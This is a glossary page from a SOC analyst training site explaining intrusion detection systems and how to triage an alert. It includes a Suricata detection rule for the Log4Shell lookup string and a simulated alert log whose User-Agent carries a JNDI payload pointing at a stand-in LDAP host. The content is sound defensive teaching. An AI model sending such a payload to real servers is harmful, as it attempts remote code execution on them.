Skip to main content
ToolsSIEMFirewall

What is IDS (Intrusion Detection System)?

An intrusion detection system (IDS) is a security tool that watches network traffic or host activity, compares it against signatures and expected behavior, and raises an alert when something matches. It does not block anything. An analyst, or automation downstream, decides what each alert means and whether to act on it.

Definition

IDS (Intrusion Detection System)
An intrusion detection system (IDS) is a security tool that watches network traffic or host activity, compares it against signatures and expected behavior, and raises an alert when something matches. It does not block anything. An analyst, or automation downstream, decides what each alert means and whether to act on it.

How IDS (Intrusion Detection System) Works

There are two places to put one.

  • A network IDS (NIDS) receives a copy of traffic from a switch SPAN port or a network TAP and inspects the packets and the protocols inside them; Suricata, Snort, and Zeek are the open-source engines you will meet most.
  • A host IDS (HIDS) runs as an agent on a server or workstation and watches log files, file integrity, and system changes; OSSEC is the long-standing open-source example.

NIST SP 800-94, the US government guide to these tools, splits them into four classes: network-based, wireless, network behavior analysis, and host-based. A NIDS sees every host on its segment but cannot read inside encrypted sessions it does not decrypt. A HIDS sees what actually happened on the machine, and only on machines that run the agent.

IDS vs IPS comes down to placement and the rule action. An IPS sits inline, so traffic passes through it and it can drop packets. An IDS sits out of band and can only alert. Suricata does both with the same engine: a rule that starts with alert logs a match, and a rule that starts with drop blocks the packet, but only when Suricata runs inline in IPS mode. The alert records what happened in its action field, which reads allowed unless a drop rule fired in IPS mode or a reject rule fired, in which case it reads blocked. On a passive sensor every alert says allowed, so that field never tells you whether the attack worked.

Most of what fires comes from signatures, patterns of known attacks written as rules. Anomaly detection adds alerts for traffic that departs from a learned baseline, and protocol analysis flags traffic that breaks the rules of HTTP, DNS, or SMB. Signatures are precise and blind to anything nobody has written a rule for; anomaly detection catches some of the new at the price of noise.

Here is a signature and the alert it produces. The rule is a local one written for this page, not a published ruleset entry, and it looks for the Log4Shell lookup string (CVE-2021-44228) in the HTTP User-Agent header:

alert http any any -> $HOME_NET any (msg:"LOCAL Log4j JNDI lookup in User-Agent"; flow:established,to_server; http.user_agent; content:"${jndi:"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

This is the alert as Suricata writes it to eve.json (simulated example generated by SOCSimulator Research; the addresses come from private and documentation ranges):

{"timestamp":"2026-10-08T14:22:31.418922+0000","flow_id":1184732209933312,"event_type":"alert","src_ip":"198.51.100.23","src_port":51544,"dest_ip":"10.20.8.15","dest_port":8080,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":1000001,"rev":1,"signature":"LOCAL Log4j JNDI lookup in User-Agent","category":"Attempted Administrator Privilege Gain","severity":1},"http":{"hostname":"10.20.8.15","url":"/api/login","http_user_agent":"${jndi:ldap://203.0.113.9:1389/a}","http_method":"GET","protocol":"HTTP/1.1","status":401,"length":52},"app_proto":"http"}

The same event in the older one-line fast.log format:

10/08/2026-14:22:31.418922 [**] [1:1000001:1] LOCAL Log4j JNDI lookup in User-Agent [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 198.51.100.23:51544 -> 10.20.8.15:8080

Read it field by field

Severity 1 comes from the classtype: attempted-admin maps to priority 1 in Suricata's default classification.config, so this lands near the top of the queue whatever the outcome. The action is allowed, which on a passive sensor is always true. The flow_id is the key to everything else, because Suricata writes the http, flow, and fileinfo events of one session under the same flow_id, and jq 'select(.flow_id==1184732209933312)' eve.json returns the whole conversation. The 401 status says the application rejected the login. It does not say nothing logged the header: Log4Shell fires when a vulnerable Log4j writes the string to a log, and failed logins are exactly what applications log.

Triage answers three questions in order

  1. Is the target exposed? Check whether 10.20.8.15 runs a Java service with log4j-core in the affected range, which NVD gives as 2.0-beta9 through 2.15.0, excluding the 2.12.2, 2.12.3, and 2.3.1 security releases. If the host runs a static nginx site, the match is real and harmless: close it as an attempt against a target that is not vulnerable.
  2. Did the lookup execute? A vulnerable server that processed the string reaches out to the address in the payload, here LDAP on 203.0.113.9 port 1389. Search flow events and firewall logs for 10.20.8.15 connecting to 203.0.113.9 after 14:22:31. One outbound session is the strongest sign the exploit worked, and it turns the alert into an incident.
  3. Is it a campaign? Count the same signature_id across other dest_ip values in the last 24 hours: one source spraying the whole subnet is internet-wide scanning, one hit on the only Java host is targeting.

This signature also has a classic false positive, because vulnerability scanners test for Log4Shell by sending the same string. Check the source against your own scanner ranges before you page anyone.

IDS (Intrusion Detection System) in SOC Operations

Most IDS alerts in a SOC queue are not intrusions. Internal vulnerability scanners, monitoring probes, and odd but legitimate software trip signatures written for attackers, and a sensor running a full public ruleset untuned can bury a queue. Two habits keep that manageable. The first is the outcome question: an IDS tells you an attempt crossed the wire, never whether it worked, so every escalation needs evidence from somewhere else, such as an outbound callback, a new process on the target in EDR, or an authentication event. The second is tuning with a paper trail. Suppress a signature for your scanner's source address instead of disabling it everywhere, disable rules for services you do not run, and write down why, so the next analyst does not switch them back on in the middle of an incident. SOCSimulator rooms put network alerts next to firewall and endpoint data from the same investigation, so you practice the step from 'the signature matched' to 'here is what happened on the host'.

Free

Practice IDS (Intrusion Detection System) in a Real SOC

SOCSimulator provides hands-on training with realistic SIEM, XDR, and Firewall interfaces. Build real analyst skills investigating ids (intrusion detection system) scenarios with zero consequences, free.

Frequently Asked Questions

What is the difference between IDS and IPS?
An IDS watches a copy of the traffic and alerts; an IPS sits inline and can drop the packets it matches. Suricata can be either: a rule with the drop action only blocks when the engine runs inline in IPS mode. The trade-off is the cost of a mistake. A bad IDS signature wastes analyst time, a bad IPS signature can block a production application.
What is the difference between NIDS and HIDS?
A NIDS inspects network traffic from a SPAN port or TAP and covers every host on that segment, but cannot read encrypted payloads it does not decrypt. A HIDS is an agent on one machine that watches its logs, file integrity, and system changes, so it sees the outcome on that host and nothing anywhere else. Most environments need both views.
How does an IDS work?
A network IDS reassembles sessions, parses protocols such as HTTP and DNS, and matches each field against its rules. When a rule matches, it writes an alert with the rule ID, the source and destination addresses and ports, and protocol details such as the URL. Anomaly and protocol checks add alerts for traffic that is unusual or malformed rather than known-bad.
What does an IDS alert look like?
In Suricata, one line of EVE JSON: event_type alert, the source and destination IP and port, an alert object with signature_id, signature, category, severity, and action, plus protocol fields such as the HTTP URL and User-Agent. The flow_id field links the alert to every other event Suricata logged for the same session, which is where triage starts.

Sources

More Tools Terms

Technique

Gather Victim Identity Information (T1589): Detection Training

Gather Victim Identity Information (T1589) is the reconnaissance step before the real attack: an adversary collects empl…

Read more
Technique

Phishing for Information (T1598): Detection Training

Phishing for Information (T1598) is reconnaissance dressed as routine email: the attacker asks for credentials, a callba…

Read more
Career Path

SOC Analyst (Tier 1) Career Guide: Salary & Skills

Tier 1 SOC Analysts are the front line. You monitor alert queues, triage incoming detections, classify them as true or f…

Read more
Career Path

SOC Analyst (Tier 2) Career Guide: Salary & Skills

Tier 2 SOC Analysts handle the investigations that Tier 1 escalates. You dig into multi-stage attacks, coordinate contai…

Read more
Career Path

Security Engineer Career Guide: Salary & Skills

Security Engineers build and maintain the infrastructure that SOC analysts depend on. You deploy SIEMs, configure firewa…

Read more
Comparison

SOCSimulator vs LetsDefend: Comparison

SOCSimulator wins on operational realism. You get multi-tool shift simulation with SLA pressure, noise injection, and al…

Read more
Comparison

SOCSimulator vs Hack The Box: Comparison

Different tools for different career paths. SOCSimulator trains defensive analysts. Hack The Box trains offensive securi…

Read more
Tool

SIEM Training Console: SOCSimulator

The SIEM console in SOCSimulator replicates the workflow of enterprise platforms like Splunk Enterprise Security, Micros…

Read more
Tool

Firewall Training Console: SOCSimulator

The Firewall console in SOCSimulator replicates the log analysis experience of enterprise platforms like Palo Alto Netwo…

Read more
Technique

MITRE ATT&CK® Techniques: Detection Training Library

Browse all MITRE ATT&CK® techniques with detection strategies and example alerts.

Read more
Career Path

Cybersecurity Career Paths: 2026 Guide

Explore SOC analyst career paths with salary data, required skills, and certification roadmaps.

Read more
Playbook

SOC Investigation Playbooks: Step-by-Step Guides

Practitioner investigation playbooks with decision trees and real SIEM queries.

Read more